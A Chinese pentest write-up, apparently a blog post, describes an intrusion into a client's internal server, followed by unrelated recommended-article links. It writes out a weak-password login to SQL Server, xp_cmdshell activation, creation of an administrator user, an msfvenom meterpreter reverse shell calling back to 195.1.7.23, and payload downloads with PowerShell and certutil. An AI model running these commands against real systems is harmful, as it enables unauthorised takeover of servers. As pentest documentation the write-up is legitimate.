# 0x00 前言

最近在客户现场对内网服务器进行渗透测试,发现了大量的弱口令,本次历程就是从这里开始···

# 0x01 弱口令

对目标ip进行端口扫描,开放端口为80,445,1433,3389
- 访问80端口,只是一个安装成功的界面,扫描一下目录看是否有源码泄露,无果
- 使用nmap脚本对445端口进行扫描,看是否存在ms17010等漏洞,无果
- 使用超级弱口令工具爆破1433,爆破成功,账号密码:sa/sa
- 同时对3389端口进行爆破,无果

因此确定了突破口,使用navicat成功连接sql server数据库

# 0x02 连接3389

翻了一下,没什么数据,尝试拿服务器吧,因此直接新建查询,开启xp_cmdshell:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

然后执行命令

exec master..xp_cmdshell "whoami";

是system权限,和想象中的一样
3389是开着的,不如加个用户直接连接远程桌面吧

加强密码强度,重新添加

exec master..xp_cmdshell "net user test paperpen123. /add";
exec master..xp_cmdshell "net localgroup administrators test /add";

一切都很顺利,开始连接3389,但遗憾的是

是win7,只允许单用户登录,如果挤他的话被发现就不能继续玩耍了,还是放弃连接3389吧

# 0x03 powershell下载木马

我还是把shell弹到本地来吧,方便操作,但是说着简单,该怎么弹呢?
需要强调一点,这里的内网不可以访问外网,因此无法使用命令从外网下载工具
那么可以这样,让他从我的本地服务器下载工具到他的服务器上就可以了
但是要关闭本机防火墙,执行后访问失败才想起来。我的ip是195.1.7.23
使用kali生成exe木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=195.1.7.23 LPORT=8888 -f exe > shell.exe

本地phpstudy快速搭建环境
将shell.exe放到网站根目录下,链接为http://195.1.7.23/shell.exe
本地监听8888端口

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 195.1.7.23
LHOST => 195.1.7.23
msf5 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf5 exploit(multi/handler) > exploit

一切准备就绪,就差服务器执行shell.exe文件了。接下来的命令,大多是我朋友Calendula提供的,感谢一下
经测试,powershell是可以执行命令的,因此执行朋友Calendula给的下载命令

exec master..xp_cmdshell "powershell $client = new-object System.Net.WebClient";
exec master..xp_cmdshell "powershell $client.DownloadFile('http://195.1.7.23/shell.exe', 'shell.exe')";

这两句本可以合并到一起执行,但是前面尝试执行其他命令时发现有长度限制

所以拆分进行执行,但是遗憾的是


DownloadFile无法使用,具体因为什么也没搞清楚,因此放弃了这种方法

# 0x04 证书下载

朋友Calendula又给我提供了一种思路,使用certutil.exe,顿时惊呆、闻所未闻,命令如下:

exec master..xp_cmdshell 'certutil.exe -urlcache -split -f "http://195.1.7.23/shell.exe"';

使用dir查看,发现成功下载到了服务器上

# 0x05 反弹成功

就差一步了,输入下面的命令并紧张地点击了执行

exec master..xp_cmdshell 'shell.exe';

卡住了···,又执行了一遍,又卡住了···,又执行了一遍,什么情况···
回到监听界面,打算按下ctrl+c重新监听,结果进了meterpreter界面,原来是它卡住了···

激动地截了张图

查看了一下是不是域环境

没错是的,看来还有很长的路要走。。

# 0x06 结语

这次就写到这吧,如有进展,还会更新。欢迎各位师傅们留言讨论,互相交流,互相学习,共同进步。

【实战3】记一次内网中反弹shell的艰难历程的更多相关文章

  1. 访问内网中的sql server数据库的简便方法

    前言: 有时候我们要访问局域网内的 sql server服务器,比如测试环境数据库在公司内网,回到家或在客户现场要连接内网中的数据库 第一步:假如可以连接局域网的数据库 192.168.150.129 ...

  2. 搭建SpringBoot服务器,在公司内网中使用

    搭建SpringBoot服务器,在公司内网中使用. 学习了:https://blog.csdn.net/z3881006/article/details/78902231 就是一个程序,托管于gith ...

  3. 内网中让其他人访问我电脑上的asp.net应用程序

    打开防火墙,高级配置,新建入站规则,选择“端口”,下一步,填写特定本地端口,然后都是点击下一步,命名规则,到此,内网中的其他人可以访问你的程序了

  4. 在外网使用ssh连接内网中的多台Linux服务器

    最近因为要对全球工控机网络进行协议扫描,需要在实验室配置几台服务器,因为我们只有一个IP地址,所以是用路由器搭建了一个内网(拓扑结构如下图).但是这样做了之后无法在宿舍通过ssh直接连接服务器,因为那 ...

  5. 20170718 关于Mysql 安装于虚拟机Ubuntu中,内网中Windows系统无法访问

    -- 1. 前提Mysql 已经安装在Ubuntu中 -- 2. 防火墙已经关闭 命令确认防护墙状态 -- 3.问题如果Ubuntu是基于Docker容器的环境,是否需要把Docker做端口映射? 解 ...

  6. 【Hadoop 分布式部署 七: 使用ntp配置内网中集群机器时间同步 】

    集群的时间要同步,如果时间不同步,会出现很多问题. 找一台机器做时间服务器 所有的机器与这台机器的时间进行定时的同步 比如,每日十分钟同步一次 我们这里使用  hadoop-senior.zuoyan ...

  7. linuxShell检测内网中存活主机,windows下net view/nmblookup

    #!/bin/bash # Simple SHELL script for Linux and UNIX system monitoring with # ping command # code by ...

  8. win 内网frp反弹到内网liunx

    前提:frp不同系统 但是版本必须完全相同 这是我的两个版本 我这个就是验证frp可以在不同系统之间使用 准备工作 靶机 win2003 ip 192.168.1.132 公网 vps windows ...

  9. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

随机推荐

  1. 自动以读写方式挂载ntfs(新)-苹果之路

    之前的mac下挂载ntfs磁盘的方法在新版本的macos下失效了:<自动以读写方式挂载ntfs-黑苹果之路>,现提供一个有效的方法,系统版本:白苹果10.14.6,参见<Mac OS ...

  2. qtableview 右键菜单弹出及获取数据

    connect(tableView, SIGNAL(customContextMenuRequested(const QPoint &)), this,SLOT(slot_tableViewM ...

  3. react一些问题

    一.死循环 1.问题描述 function handleClick() { this.setState({count: ++this.state.count}); console.log(" ...

  4. javascript中的this绑定问题

    this的绑定规则 1 默认绑定: function foo(){ console.log(this.a); } var a = 2 ; foo(); 调用 foo() 的时候其实相当于 window ...

  5. Java学习之旅(二):生病的狗1(逻辑推导)

    前言:本篇文章属于个人笔记,例化了一些代码,不知是否合理,请指教. 中午看到一位同学的面试题,觉得很烧脑,烧脑不能一个人烧,要大家一起烧. 村子中有50个人,每人有一条狗.在这50条狗中有病狗(这种病 ...

  6. C++构造和解析JSON

    JSON是一种轻量级的数据交互格式,易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率,实际项目中经常用到,相比xml有很多优点,问问度娘,优点一箩筐. 第三方库 json解析选用j ...

  7. C++和c语言的区别

    在大家眼中c++与C语言很像,但两个有本质的区别,C语言是面向过程的,而C++是面向对象的,下面就给大家梳理梳理. 1.C语言有标准的函数库,它们松散的,只是把功能相同的函数放在一个头文件中:而C++ ...

  8. Django-07-Model操作

    一.数据库的配置 1. 数据库支持 django默认支持sqlite.mysql.oracle.postgresql数据库  <1> sqlite django默认使用sqlite的数据库 ...

  9. Python 基础 常用运算符

    Python 基础 常用运算符 计算机可以进行的运算有很多种,可不只加减乘除这么简单,运算按种类可分为算术运算.比较运算.逻辑运算.赋值运算.成员运算.身份运算.位运算. 今天我们暂只学习 算术运算. ...

  10. emmet 配置文件

    snippets.json(添加自己的或更新现有的片段) preferences.json(更改某些Emmet过滤器和操作的行为) SyntaxProfiles.json(定义生成的HTML / XM ...